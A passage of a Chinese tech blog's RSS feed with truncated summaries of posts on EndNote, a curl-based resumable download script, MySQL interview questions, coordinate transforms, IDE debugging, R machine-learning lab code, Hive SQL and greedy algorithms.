      <description>edited by nrzheng&#xA;模板下载&#xA;先新建图书馆。要放东西，首先要新建“仓库”。之后就把所有东西都放在这里。新建之后会有两个文件。分别是：znr_Library.Data和znr_Library.enl。&#xA;搜索文献，放到EndNote中。到知网或者IEEE等网站。搜索想要的文献之后，点击引用，用EndNote方式引用。这时候会下载一个文件。不同网站下载的文件类型不一样。但是都用EndNote打开就可以。导入进去这个文件就可以删了，他会自己保存到你的图书管的。&#xA;附PDF。一样，下载对应的PDF，然后在EndNote中选择刚刚导入的文献信息。在文献浏览区可以附PDF。浏览选择刚刚下载的PDF即可添加进去。这里一样会把PDF保存在图书馆。之后就可以一起迁移。&#xA;在word中若要直接引用EndNote，则需设置一个插件，但是有时候插件未显示，解决方法如下：点击文件—选项—加载项—转到，选择EndNote，如果这里没有就点添加，然后到EndNote的安装路径中选择Configue EndNote.exe ， 一直next，点击Cite While You Write add-in for Mircosoft Office。&#xA;引用参考文献。这里可以到endnote里edit-&amp;gt;output style-&amp;gt;open style manager中选择要导出的模板，比如number，先进行导出格式的调整。&#xA;改段落中引用的上标。&#xA;改参考文献中的显示方法。记得加缩进的时候右下角可以调整是缩进一行还是缩进所有&#xA;当然还有其他很多种然后保存之后选择要引用的文献。然后打开word，将光标移动到要引用的句子那里。点击上方的endnoteX9，然后选择insert citation-&amp;gt;insert selected citation。记得style要选择上一步改的那个。然后点更新引用即可。&#xA;引用完之后可以统一修改格式，如下所示：&#xA;在移除或者添加PDF之后已经要记得同步一下。&#xA;要添加新的引用格式，要把下载的格式文件ens保存在C:\Users\95619\Documents\EndNote\Styles中。如果没有这个文件夹，就在endnote中原有的格式随便改一个保存之后，就会出现这个文件夹。或者可以直接保存在endenote安装路径的style中</description>
    </item>
    <item>
      <title>自己用curl写一个断点续传工具（windows安装Git Bash环境也可以用）</title>
      <link>https://bchobby.github.io/posts/82422c880beeaaf1041005b36edbb32a/</link>
      <pubDate>Thu, 24 Feb 2022 17:21:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82422c880beeaaf1041005b36edbb32a/</guid>
      <description>自己用curl写一个断点续传工具（windows安装Git Bash环境也可以用） 起因文件准备本机下载的脚本 起因 公司内网太垃圾，名义上是全国所有公司都用一个内网，但是不同地区之间的网速真是无语，50K/秒，这是回到拨号时代了吗。要把一个1G的wps企业版文件从其他城市下载到本地，靠浏览器基本没戏，断了n次后就放弃了。只能通过断点续传了，但是不想装迅雷之类的，想着自己搞一个断点续传弄一下就可以了。&#xA;文件准备 因为原始的文件是在公司云盘上，貌似不支持断点续传，主要是懒得实验，就先在其他城市的服务器上下载好文件，然后搭建nginx，作为文件服务器。nginx的配置如下：&#xA;server { listen 888; server_name localhost; location /files { alias D:\Download\files; autoindex on; } } 用浏览器试一下，应该可以看到文件了：&#xA;http://10.10.10.10:888/files 本机下载的脚本 一个简单的bash脚本，用到了awk和curl，都是基础命令，windows下完全可以不用装cygwin，直接下载、安装git bash就可以了。&#xA;URL=http://10.10.10.10:888/files/wps.zip FNAME=wps.zip BLOCKSIZE=`echo | awk &#39;{print 1024*1024}&#39;` POS=0 DONE=0 touch $FNAME rm $FNAME while [ &#34;$DONE&#34; != &#34;1&#34; ] do POS2=`echo $POS $BLOCKSIZE | awk &#39;{print $1+$2-1}&#39;` curl $URL -r $POS-$POS2 &amp;gt; $FNAME.part if (( $? )) then echo fail, try again... sleep 1 continue fi CHECK=`grep &#34;</description>
    </item>
    <item>
      <title>Mysql面试基础知识（全）</title>
      <link>https://bchobby.github.io/posts/8747d979463e31aaad3b653b14d131c3/</link>
      <pubDate>Thu, 24 Feb 2022 17:18:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8747d979463e31aaad3b653b14d131c3/</guid>
      <description>来源：&#xA;作者：程序员大彬&#xA;链接：MySQL面试题总结_笔经面经_牛客网&#xA;来源：牛客网&#xA;本文目录：&#xA;事务的四大特性？数据库的三大范式事务隔离级别有哪些？索引 什么是索引？索引的优缺点？索引的作用？什么情况下需要建索引？什么情况下不建索引？索引的数据结构Hash索引和B+树索引的区别？为什么B+树比B树更适合实现数据库索引？索引有什么分类？什么是最左匹配原则？什么是聚集索引？什么是覆盖索引？索引的设计原则？索引什么时候会失效？什么是前缀索引？常见的存储引擎有哪些？MyISAM和InnoDB的区别？MVCC 实现原理？快照读和当前读共享锁和排他锁大表怎么优化？MySQL 执行计划了解吗？bin log/redo log/undo logbin log和redo log有什么区别？讲一下MySQL架构？分库分表什么是分区表？分区表类型分区的问题？查询语句执行流程？更新语句执行过程？exist和in的区别？MySQL中int(10)和char(10)的区别？　truncate、delete与drop区别？having和where区别？什么是MySQL主从同步？为什么要做主从同步？乐观锁和悲观锁是什么？用过processlist吗？ 作者：程序员大彬&#xA;链接：MySQL面试题总结_笔经面经_牛客网&#xA;来源：牛客网&#xA;一、事务的四大特性？ 事务特性ACID：原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）、持久性（Durability）。&#xA;原子性是指事务包含的所有操作要么全部成功，要么全部失败回滚。一致性是指一个事务执行之前和执行之后都必须处于一致性状态。比如a与b账户共有1000块，两人之间转账之后无论成功还是失败，它们的账户总和还是1000。隔离性。跟隔离级别相关，如read committed，一个事务只能读到已经提交的修改。持久性是指一个事务一旦被提交了，那么对数据库中的数据的改变就是永久性的，即便是在数据库系统遇到故障的情况下也不会丢失提交事务的操作。 二、数据库的三大范式 第一范式1NF&#xA;确保数据库表字段的原子性。&#xA;比如字段 userInfo: 广东省 10086&#39; ，依照第一范式必须拆分成 userInfo: 广东省 userTel:10086两个字段。&#xA;第二范式2NF&#xA;首先要满足第一范式，另外包含两部分内容，一是表必须有一个主键；二是非主键列必须完全依赖于主键，而不能只依赖于主键的一部分。&#xA;举个例子。假定选课关系表为student_course(student_no, student_name, age, course_name, grade, credit)，主键为(student_no, course_name)。其中学分完全依赖于课程名称，姓名年龄完全依赖学号，不符合第二范式，会导致数据冗余（学生选n门课，姓名年龄有n条记录）、插入异常（插入一门新课，因为没有学号，无法保存新课记录）等问题。&#xA;可以拆分成三个表：学生：student(stuent_no, student_name, 年龄)；课程：course(course_name, credit)；选课关系：student_course_relation(student_no, course_name, grade)。&#xA;第三范式3NF&#xA;首先要满足第二范式，另外非主键列必须直接依赖于主键，不能存在传递依赖。即不能存在：非主键列 A 依赖于非主键列 B，非主键列 B 依赖于主键的情况。&#xA;假定学生关系表为Student(student_no, student_name, age, academy_id, academy_telephone)，主键为&#34;学号&#34;，其中学院id依赖于学号，而学院地点和学院电话依赖于学院id，存在传递依赖，不符合第三范式。&#xA;可以把学生关系表分为如下两个表：学生：(student_no, student_name, age, academy_id)；学院：(academy_id, academy_telephone)。&#xA;2NF和3NF的区别？&#xA;2NF依据是非主键列是否完全依赖于主键，还是依赖于主键的一部分。3NF依据是非主键列是直接依赖于主键，还是直接依赖于非主键。 三、事务隔离级别有哪些？ 先了解下几个概念：脏读、不可重复读、幻读。</description>
    </item>
    <item>
      <title>常用导航坐标系 及 转换关系 （理论&#43;程序）</title>
      <link>https://bchobby.github.io/posts/3e1b3ae8ed7fc28e6597d8a7083a0bcf/</link>
      <pubDate>Wed, 23 Feb 2022 21:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e1b3ae8ed7fc28e6597d8a7083a0bcf/</guid>
      <description>一、坐标系定义与符号约定 在捷联惯导中，涉及到多种坐标系，其中 惯性坐标系、地心地固坐标系、导航坐标系 的示意图如下： 下面给出常用的坐标系的定义 ： 1）惯性坐标系（i 系）： 以地球质心为原点， 轴指向地球自转轴， 轴位 于赤道面指向空间任意点， 轴与其构成右手系。 该坐标系不随地球自转而转动， 但是由于地球质心绕太阳公转以及太阳系绕银河系公转，因此，该系 不是绝对惯 性系， 然而这些影响十分微弱，低于惯导的噪声水平， 因而可以忽略不计，该系 可以认 为 是一个惯性系。 2）地心地固系（e 系）： 与大地测量中的 ECEF 系一致 理解：某一时刻，载体在e系中的坐标 在 i 系的表达，可通过方向余弦矩阵（ Direction Cosine Matrix, DCM） 实现，其表达如下： 3）地理坐标系 （Geographic Coordinate System）： 是使用三维球面来定义地球表面位置，以实现通过 经纬度 对地球表面点位引用的坐标系。&#xA;一个地理坐标系包括 角度测量单位、本初子午线和参考椭球体三部分。在球面系统中，水平线是等&#xA;纬度线或纬线。垂直线是等经度线或经线。地理坐标系依据其所选用的本初子午线、参考椭球的不&#xA;同而略有区别。地理坐标系可以确定地球上任何一点的位置。首先将地球抽象成一个规则的逼近原&#xA;始自然地球表面的椭球体，称为参考椭球体，然后在参考椭球体上定义一系列的经线和纬线构成经&#xA;纬网，从而达到通过经纬度来描述地表点位的目的。需要说明的是经纬地理坐标系不是平面坐标系，&#xA;因为度不是标准的长度单位，不可用其直接量测面积长度。&#xA;地理坐标系 与 地心地固系（e 系）之间的转换关系如下：&#xA;程序如下：&#xA;Eigen::MatrixXd llh2ecef(Eigen::MatrixXd data) // transform the llh to ecef { Eigen::MatrixXd ecef; // the ecef for output ecef.</description>
    </item>
    <item>
      <title>IDEA如何打断点调试</title>
      <link>https://bchobby.github.io/posts/58b6085cf6f0c8afa25c37949509e9ee/</link>
      <pubDate>Wed, 23 Feb 2022 19:30:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b6085cf6f0c8afa25c37949509e9ee/</guid>
      <description>文章目录 1. 设置断点2. 调试3. 调试的基本操作3.1 step over3.2 step into 跟 Force step into3.3 step out3.4 resume program3.5 mute breakpoints3.6 view breakpoints3.6 条件断点 编写代码的时候，有时候我们需要跟踪代码的运行情况，使用断点调试就是一个不错的方法，接下来介绍一下如何在IDEA中使用断点进行调试 1. 设置断点 直接在你需要打断点的代码的行号区域，点击，即可设置断点，如图所示&#xA;这里补充一下对断点的理解：断点打在代码的前面，例如11行的断点打在第11行代码的前面，意味着，当程序运行到11行代码的断点时，第11行代码其实并未运行&#xA;2. 调试 点击绿色的三角形进行运行程序，点击绿色的小瓢虫就是运行调试程序&#xA;程序就会进入调试界面，代码行处的断点标记，都变成了红色的箭头，蓝色的部分表示现在程序所停的行数&#xA;最下面的就是调试窗口，调试窗口的左边部分是方法栈，即越下面的方法是越早被调用的，调试窗口的右边部分是变量的值&#xA;3. 调试的基本操作 3.1 step over 在调试窗口的上方，含义为：进入下一步，如果当前行断点是一个方法，则不进入当前方法体内。即从代码行A，跳到下一行代码A + 1，并执行原来A行代码&#xA;例如：&#xA;现在执行到第12行代码（12行未执行），当前的map里只有一个元素，我们可以在下面的Variables中确认只有一个元素&#xA;当我们点击step over时：第12行内容被执行，map的size变为2，程序来到第13行&#xA;3.2 step into 跟 Force step into 这两个都是表示：进入下一步，如果当前行断点是一个方法，则进入当前方法体内。但有一点区别，step into 只针对自定义的方法，如果对应的方法是官方库的方法，并不会进入方法体内。但Force step into，无论方法是什么方法，都会进入到方法体中&#xA;举例：&#xA;当执行到第15行，一个自定义的函数时：&#xA;使用 step into&#xA;则进入了该方法体内&#xA;但如果是这种官方库的方法，则无法进入：&#xA;此时，如果需要进入到方法体中，则需要使用Force step into：&#xA;这里进入到hashmap中&#xA;3.3 step out 跳出，即我们在方法体中运行时，不想继续一行一行的运行，想直接回到上一层的方法中，则使用step out跳出</description>
    </item>
    <item>
      <title>响应了WM_SetCursor消息，如何改变鼠标形状</title>
      <link>https://bchobby.github.io/posts/3456353e0aa0ffc6362df93174b691b5/</link>
      <pubDate>Wed, 23 Feb 2022 18:17:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3456353e0aa0ffc6362df93174b691b5/</guid>
      <description>响应了WM_SetCursor消息，这时， 改变鼠标形状的代码必须在这个消息里处理，在其他地方使用SetCursor已经不起作用了。&#xA;这个消息处理函数包含三个参数：&#xA;afx_msg BOOL OnSetCursor( CWnd* pWnd, UINT nHitTest, UINT message );&#xA;pWnd 是消息处理者的窗口，一般NULL 表示当前对话框&#xA;nHitTest 鼠标处于窗口的哪一部分&#xA;我们可以使用pWnd-&amp;gt;GetDlgCtrlID() 来获得当前鼠标所在位置的控件ID&#xA;比如，我们要想每个控件上的鼠标形状都不一样 ，怎么写呢？ 可以用如下方式实现：&#xA;BOOL CShowImageDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) { switch (pWnd-&amp;gt;GetDlgCtrlID()) { case IDC_MOVE: SetCursor(LoadCursor(NULL,IDC_HAND)); break; case IDC_CSTATIC_PICTURE: SetCursor((HCURSOR)::LoadImage(NULL,&#34;res//XiangPi.ico&#34;,IMAGE_ICON,20,20,LR_LOADFROMFILE)); break; ...... Default: SetCursor(LoadCursor(NULL,IDC_ARROW)); break; } return CDialog::OnSetCursor(pWnd, nHitTest, message); } 需注意的是： CStaic控件的属性Notify 必须要设置为TRUE 才能使得 当鼠标在 CStatic上时改变形状。&#xA;但是，当CStatic的属性Notify设置为TRUE时，其父窗口也就是包含这个控件的对话框就不能响应鼠标消息了，比如：不能响应左键按下消息 鼠标移动消息等。&#xA;有没有办法，既能使得光标可以改变形状，又能响应鼠标消息呢？&#xA;网上查时，很多人都说自己写一个继承自CStaic的类，在新类中处理鼠标消息，但是我只想修改鼠标形状，却还要再写个类，实在是有些麻烦。&#xA;有好的办法？ 有。&#xA;方法是： 利用::GetCursorPos(pointPos); 获得光标所在的位置，然后判断光标是否在控件内&#xA;BOOL CShowImageDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) { // TODO: 在此添加消息处理程序代码和/或调用默认值 CPoint pos; ::GetCursorPos(&amp;amp;pos); if(m_erase) { if(m_bControlUnit){ m_image.</description>
    </item>
    <item>
      <title>HIT机器学习实验四降维R语言参考代码</title>
      <link>https://bchobby.github.io/posts/5aaddbb1a3775226b9a1735f6923238e/</link>
      <pubDate>Wed, 23 Feb 2022 16:36:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aaddbb1a3775226b9a1735f6923238e/</guid>
      <description>##引入包&#xA;library(scatterplot3d)&#xA;library(RSpectra)&#xA;library(jpeg)&#xA;library(animation)&#xA;library(rgl)&#xA;##一键清空&#xA;rm(list=ls())&#xA;##样本个数&#xA;num&amp;lt;-100&#xA;##维度&#xA;v&amp;lt;-3&#xA;##降维后维度&#xA;k&amp;lt;-2&#xA;##设置x,y,z轴的旋转角度&#xA;angle1&amp;lt;-20/180*pi&#xA;angle2&amp;lt;-15/180*pi&#xA;angle3&amp;lt;-10/180*pi&#xA;##生成符合高斯分布的数据&#xA;x1&amp;lt;-rnorm(100,mean=1,sd=1.8)&#xA;x2&amp;lt;-rnorm(100,mean=2,sd=1.9)&#xA;x3&amp;lt;-rnorm(100,mean=4,sd=1.7)&#xA;##数据旋转&#xA;Rx&amp;lt;-matrix(c(1,0,0,&#xA;0,cos(angle1),-sin(angle1),&#xA;0,sin(angle1),cos(angle1)),nrow=3,ncol=3,byrow=TRUE)&#xA;Ry&amp;lt;-matrix(c(cos(angle2),0,sin(angle2),&#xA;0,1,0,&#xA;-sin(angle2),0,cos(angle2)),nrow=3,ncol=3,byrow=TRUE)&#xA;Rz&amp;lt;-matrix(c(cos(angle3),-sin(angle3),0,&#xA;sin(angle3),cos(angle3),0,&#xA;0,0,1),nrow=3,ncol=3,byrow=TRUE)&#xA;X&amp;lt;-matrix(c(x1,x2,x3),nrow=v,ncol=num,byrow=TRUE)&#xA;X&amp;lt;-Rz%*%Ry%*%Rx%*%X&#xA;XX&amp;lt;-X&#xA;##显示原始数据的分布&#xA;scatterplot3d(X[1,],X[2,],X[3,],main=&#39;1.4.1&#39;)&#xA;plot3d(XX[1,],XX[2,],XX[3,],col=rainbow(12),size=5)&#xA;##对样本正则化&#xA;for(i in 1:v){&#xA;total&amp;lt;-0&#xA;for(j in 1:num){&#xA;total&amp;lt;-total+X[i,j]&#xA;}&#xA;total&amp;lt;-total/num&#xA;X[i,]&amp;lt;-X[i,]-total&#xA;}&#xA;##特征值分解&#xA;C&amp;lt;-X%*%t(X)&#xA;ev&amp;lt;-svd(X)&#xA;vec&amp;lt;-ev$v[,order(ev$d,decreasing = TRUE)]&#xA;val&amp;lt;-ev$d[order(ev$d,decreasing = TRUE)]&#xA;##取前k个特征向量&#xA;P&amp;lt;-t(vec[,1:k])&#xA;##计算低维坐标系的投影&#xA;Y&amp;lt;-P%*%t(X)%*%XX&#xA;plot(Y[1,],Y[2,],main=&#39;1.4.3&#39;,&#xA;xlab=&#39;x1&#39;, ylab=&#39;x2&#39;,col=&#34;red&#34;)&#xA;##重构样本集&#xA;YY&amp;lt;-matrix(0,nrow=v,ncol=num)</description>
    </item>
    <item>
      <title>HIT机器学习实验三聚类R语言参考代码</title>
      <link>https://bchobby.github.io/posts/ce0c2dc85ca2c8c4e868f8e36b253893/</link>
      <pubDate>Wed, 23 Feb 2022 16:33:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce0c2dc85ca2c8c4e868f8e36b253893/</guid>
      <description>library(scatterplot3d)&#xA;##一键清空&#xA;rm(list=ls())&#xA;##打印颜色的函数&#xA;color&amp;lt;-function(Y1,num){&#xA;colo&amp;lt;-rep(&#34;black&#34;,num);&#xA;cl&amp;lt;-c(&#34;green&#34;,&#34;red&#34;,&#34;blue&#34;,&#34;yellow&#34;)&#xA;for (i in 1:num){&#xA;colo[i]&amp;lt;-cl[Y1[i]]&#xA;}&#xA;return (colo)&#xA;}&#xA;##K-means聚类&#xA;kmeans&amp;lt;-function(num,k,v,Y,X,Y2,e){&#xA;##从样本集中选择k个样本为初始均值向量&#xA;samp&amp;lt;-sample(1:num,k)&#xA;for (i in 1:k){&#xA;Y[,i]&amp;lt;-X[,samp[i]]&#xA;}&#xA;repeat{&#xA;for (i in 1:num){&#xA;##计算样本与各均值向量的距离&#xA;distance&amp;lt;-rep(0,k)&#xA;for(j in 1:k){&#xA;distance[j]&amp;lt;-norm(matrix(X[,i]-Y[,j]))&#xA;}&#xA;##根据最近的均值向量确定各样本的标记&#xA;Y2[i]&amp;lt;-which.min(distance)&#xA;}&#xA;##更新均值向量&#xA;oldY&amp;lt;-Y&#xA;Y&amp;lt;-matrix(rep(0,v*k),nrow=v,ncol=k,byrow=TRUE)&#xA;for(i in 1:num){&#xA;Y[,Y2[i]]&amp;lt;-Y[,Y2[i]]+X[,i]&#xA;}&#xA;numt&amp;lt;-rep(0,k)&#xA;for(i in 1:k){&#xA;numt[i]&amp;lt;-sum(Y2==i)&#xA;}&#xA;for(i in 1:k){&#xA;Y[,i]&amp;lt;-Y[,i]/numt[i]&#xA;}&#xA;##若变化小于精度，返回&#xA;cat(norm(oldY-Y))&#xA;if(norm(oldY-Y)&amp;lt;e)&#xA;break;&#xA;}&#xA;return (list(one=Y2,two=Y))&#xA;}&#xA;P&amp;lt;-function(x,Y,xfc,v){</description>
    </item>
    <item>
      <title>HIT机器学习实验二逻辑回归R语言参考代码</title>
      <link>https://bchobby.github.io/posts/9774176641efca117fd708a171789075/</link>
      <pubDate>Wed, 23 Feb 2022 16:31:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9774176641efca117fd708a171789075/</guid>
      <description>##一键清空&#xA;rm(list=ls())&#xA;##Sigmoid函数&#xA;Sigmoid&amp;lt;-function(z){&#xA;return (1/(1+exp(-z)))&#xA;}&#xA;##计算p(y=1|x)&#xA;P1&amp;lt;-function(x,w){&#xA;return (1-Sigmoid(t(w)%*%x))&#xA;}&#xA;##计算梯度函数&#xA;l1&amp;lt;-function(x,w,d,n,y){&#xA;i&amp;lt;-0&#xA;h&amp;lt;-cbind(rep(0,n+1))&#xA;repeat{&#xA;i&amp;lt;-i+1&#xA;h&amp;lt;-h-x[,i]%*%(y[i,]-P1(x[,i],w))/d&#xA;if(i==d){&#xA;break&#xA;}&#xA;}&#xA;return (h)&#xA;}&#xA;##计算梯度函数（带惩罚项）&#xA;L1&amp;lt;-function(x,w,d,n,y,k){&#xA;i&amp;lt;-0&#xA;h&amp;lt;-cbind(rep(0,n+1))&#xA;repeat{&#xA;i&amp;lt;-i+1&#xA;h&amp;lt;-h-x[,i]%*%(y[i,]-P1(x[,i],w))/d&#xA;if(i==d){&#xA;break&#xA;}&#xA;}&#xA;return ((h+k*w))&#xA;}&#xA;##生成海森矩阵函数&#xA;l2&amp;lt;-function(x,w,d,n){&#xA;i&amp;lt;-0&#xA;h&amp;lt;-matrix(0,nrow=n+1,ncol=n+1)&#xA;repeat{&#xA;i&amp;lt;-i+1&#xA;h&amp;lt;-h+x[,i]%*%t(x[,i])%*%(P1(x,w)[1,1]*(1-P1(x,w))[1,1]*diag(n+1))/d&#xA;if(i==d){&#xA;break&#xA;}&#xA;}&#xA;return (h)&#xA;}&#xA;##生成海森矩阵函数（带惩罚项）&#xA;L2&amp;lt;-function(x,w,d,n,k){&#xA;i&amp;lt;-0&#xA;h&amp;lt;-matrix(0,nrow=n+1,ncol=n+1)&#xA;repeat{&#xA;i&amp;lt;-i+1&#xA;h&amp;lt;-h+x[,i]%*%t(x[,i])%*%(P1(x,w)[1,1]*(1-P1(x,w))[1,1]*diag(n+1))/d&#xA;if(i==d){&#xA;break&#xA;}&#xA;}&#xA;return (h+k*diag(n+1))&#xA;}&#xA;##牛顿法优化函数</description>
    </item>
    <item>
      <title>hive学习小结</title>
      <link>https://bchobby.github.io/posts/9a169910032a8fb03fa09b5b083f2a9a/</link>
      <pubDate>Wed, 23 Feb 2022 14:20:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a169910032a8fb03fa09b5b083f2a9a/</guid>
      <description>目录 一、函数学习1、concat拼接函数2、concat_ws()3、FROM_UNIXTIME函数4、UNIX_TIMESTAMP()函数5、NVL()函数6、group by分组7、collect_set函数8、size函数9、sumif函数的语法格式 二、SQL正则表达式1、元字符2、正则表达函数2.1 `regexp_like(x,pattern[,match_option])`2.2 regexp_instr(x,pattern[,start[,occurrence[,return_option[, match_option]]]]) 2.3 REGEXP_SUBSTR(x,pattern[,start[,occurrence[, match_option]]]) 2.4 REGEXP_REPLACE(x,pattern[,replace_string[,start[,occurrence[, match_option]]]]) 三、hive数仓数据重复性检查1、如何快速确认某一字段是否有重复值1.1 cnt 没有去重，order_cnt 去重， 如果得到结果相同，则表是没有重复1.2 根据待确认字段进行分组，订单号不能有大于1的情况，就代表没有重复1.3 如果数据有重复，如何查找出来重复的字段信息呢？ 2、如何去除重复值2.1 hive表中某些数据是整行的重复，而且字段过多时：2.2 两行数据只有一个字段不一样：2.3 当表中字段不多，而且数据是某些字段重复，可通过row_number()：2.4 在某些情况中我们不是需要全部字段，而是仅仅过滤出某些不重复的字段： 3、row_number() OVER (PARTITION BY COL1 ORDER BY COL2) 四、常见Shell快捷操作 一、函数学习 1、concat拼接函数 将多个字符串连接成一个字符串。&#xA;concat(str1, str2,…) 返回结果为连接参数产生的字符串，如果有任何一个参数为null，则返回值为null。&#xA;但是输入sql语句麻烦了许多，三个字段需要输入两次逗号，如果10个字段，要输入九次逗号…麻烦死了啦，有没有什么简便方法呢？——于是可以指定参数之间的分隔符的concat_ws()来了！！！&#xA;2、concat_ws() 和concat()一样，将多个字符串连接成一个字符串，但是可以一次性指定分隔符～（concat_ws就是concat with separator）&#xA;concat_ws(separator, str1, str2, …)&#xA;说明：第一个参数指定分隔符。需要注意的是分隔符不能为null，如果为null，则返回结果为null。&#xA;3、FROM_UNIXTIME函数 FROM_UNIXTIME(unix_timestamp,format)&#xA;unix_timestamp为需要处理的时间戳(该参数是Unix 时间戳),可以是字段名,也可以直接是Unix 时间戳字符串。format为需要转换的格式&#xA;mysql官方手册的解释为：返回’YYYY-MM-DD HH:MM:SS’或YYYYMMDDHHMMSS 格式值的unix_timestamp参数表示，具体格式取决于该函数是否用在字符串中或是数字语境中。若format 已经给出，则结果的格式是根据format 字符串而定。format的格式和日常的编程语言的时间格式是保持一致的。 mysql&amp;gt; select FROM_UNIXTIME(1344954515,&#39;%Y-%m-%d %H:%i:%S&#39;); +-----------------------------------------------+ | FROM_UNIXTIME(1344954515,&#39;%Y-%m-%d %H:%i:%S&#39;) | +-----------------------------------------------+ | 2012-08-14 22:28:35 | +-----------------------------------------------+ 1 row in set (0.</description>
    </item>
    <item>
      <title>Greedy algorithm</title>
      <link>https://bchobby.github.io/posts/97b59c43231cde66d83b6d32aae4d010/</link>
      <pubDate>Wed, 23 Feb 2022 13:06:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97b59c43231cde66d83b6d32aae4d010/</guid>
      <description>贪心算法的基本思想： 贪心总是作出当前看来最好的选择，也就是说贪心算法并不从整体最优考虑，它所作出的选择只是在某种意义上的局部最优选择。&#xA;贪心算法的基本要素：&#xA;1.贪心选择性质： 所谓贪心选择性质是指求问题的整体最优解可以通过一系列局部最优的选择，即贪心选择来达到。这是贪心算法可行的第一个基本要素，也是与dp的主要区别。&#xA;a. dp通常以自下而上的方式解各种子问题，而贪心算法则通常以自顶向下的方式进行，以迭代的方式作出相继的贪心选择，每作一次贪心选择就将所求问题简化为规模更小的子问题。 b. 对于一个具体问题，要确定它是否具有贪心选择性质，必须证明每一步所作的贪心选择最终导致问题的整体最优解。 2.最优子结构性质（上篇dp已经介绍）&#xA;Activity-Selection Problem（活动选择问题） Problem Description :Given a set A = {a1, a2, …, an} of n activities with start and finish times (si, fi), 1 ≤ i ≤ n, select maximal set S of “non-overlapping” activities.&#xA;通俗： 调度竞争共享资源的多个活动的问题，目标是选出一个最大的互相兼容的活动集合。假定有一个 n 个活动的集合 S={a1,a2,a3…,an}，这些活动使用同一个资源（例如同一个阶梯教室），而这个资源在某个时刻只能供一个活动使用。每个活动 ai 都有一个开始时间 si 和一个结束时间 fi，其中 si&amp;lt;fi&amp;lt;无穷。如果被选中，活动 ai 发生在半开时间区[si,fi)期间。如果两个活动 ai 和 aj满足[si,fi)和[sj,fj)不重叠，则称它们是兼容的。也就是说，若 si&amp;gt;=fj，或sj&amp;gt;=fi，则 ai 和 aj 是兼容的。在活动选择问题中，希望选出一个最大兼容活动集。&#xA;DP思想：&#xA;用S(1, i)表示啊a1～ai的最大兼容活动集合问题，首先假设其子问题空间是一维的， 即 S(1, i)的最优解由 S(1, i-1)的最优解构成。但是发现 S(1, i)的最优解可能是由 S(2, i-1) 或是 S(3,i-1)的最优解构成。因此，会发现子问题空间是一维是不够的， 子问题空间是二维的；其子问题空间是二维的，对于活动 S(i, j), 需要做出 j-i-1 种选择；</description>
    </item>
    <item>
      <title>阿里云木马检查</title>
      <link>https://bchobby.github.io/posts/887a628a81e0d7c571a0e69a496ac7af/</link>
      <pubDate>Wed, 23 Feb 2022 11:42:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/887a628a81e0d7c571a0e69a496ac7af/</guid>
      <description>服务器挖矿木马[kthreaddi]处理记录 – 编程笔记</description>
    </item>
    <item>
      <title>PCL-PEG-MAL，聚己内酯-聚乙二醇-马来酰亚胺，Poly(ε-caprolactone)-PEG-Maleimide</title>
      <link>https://bchobby.github.io/posts/96d6924fb9420420091a877c8455e0da/</link>
      <pubDate>Wed, 23 Feb 2022 11:08:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96d6924fb9420420091a877c8455e0da/</guid>
      <description> 英文名称：PCL-PEG-MAL&#xA;Poly(ε-caprolactone)-PEG-Maleimide&#xA;中文名称：聚己内酯-聚乙二醇-马来酰亚胺&#xA;分子量：1k，2k，3.4k，5k，10k，20k（可按需定制）&#xA;质量控制：95%+&#xA;存储条件：-20°C，避光，避湿&#xA;用 途：仅供科研实验使用，不用于诊治&#xA;外观: 固体或粘性液体，取决于分子量&#xA;注意事项：取用一定要干燥，避免频繁的溶解和冻干&#xA;溶解性：溶于大部分有机溶剂，如：DCM、DMF、DMSO、THF等等。在水中有很好的溶解性&#xA;取用：现配现用，将包装从冰箱中取出，置于干燥器中缓慢升至室温，打开瓶盖，取用。取用后充入惰性气体，封口膜封口，拧紧瓶盖装入自封袋，及时放入冰箱。&#xA;结构式：&#xA;PCL-PEG-MAL是一种功能性两亲嵌段共聚物，用于制备靶向胶束或纳米粒子。马来酰亚胺可与硫醇、巯基、巯基或巯基结合形成二硫键。&#xA;聚己内酯PEG马来酰亚胺（Biotin-PEG-MAL）可以用来修饰蛋白质、多肽以及其他活性基团材料或者小分子。马来酰亚胺(-MAL)马来酰亚胺和巯基在PH6.5-7.5很容易形成稳定的硫醚键。聚乙二醇可以增加溶解度和稳定性,减少多肽和蛋白质的***原性，它也能抑制带电分子在修饰表面的非特异性结合。&#xA;技术指标：&#xA;纯度（PEG）：95%以上&#xA;取代率（MAL）：90%以上&#xA;取代率（PCL）：90%以上&#xA;分散系数（PDI）：小于等于1.05&#xA;分析：COA、GPC、NMR、MALDI-TOF&#xA;其他相关产品：&#xA;mPEG-PCL, PEG MW:1000&amp;amp;PCL MW:1000&#xA;mPEG-PCL, PEG MW:1000&amp;amp;PCL MW:2000&#xA;mPEG-PCL, PEG MW:1000&amp;amp;PCL MW:5000&#xA;mPEG-PCL, PEG MW:1000&amp;amp;PCL MW:10000&#xA;mPEG-PLGA, PEG MW:1000&amp;amp;PCL MW:1000&#xA;mPEG-PLGA, PEG MW:1000&amp;amp;PCL MW:2000&#xA;mPEG-PLGA, PEG MW:1000&amp;amp;PCL MW:5000&#xA;mPEG-PLGA, PEG MW:1000&amp;amp;PCL MW:10000&#xA;PCL(1000)-PEG(1000)-PCL(1000)&#xA;PCL(2000)-PEG(1000)-PCL(2000)&#xA;PCL(5000)-PEG(1000)-PCL(5000)&#xA;以上信息由西安凯新生物科技有限公司为您提供，如需了解详细信息请联系！！！ </description>
    </item>
    <item>
      <title>拦不住灰犀牛，芯片短缺即将扭转，小型公司风险骤增！</title>
      <link>https://bchobby.github.io/posts/a0a15973a9001d7fc65c44d8d873e0c4/</link>
      <pubDate>Wed, 23 Feb 2022 00:37:02 +0800</pubDate>
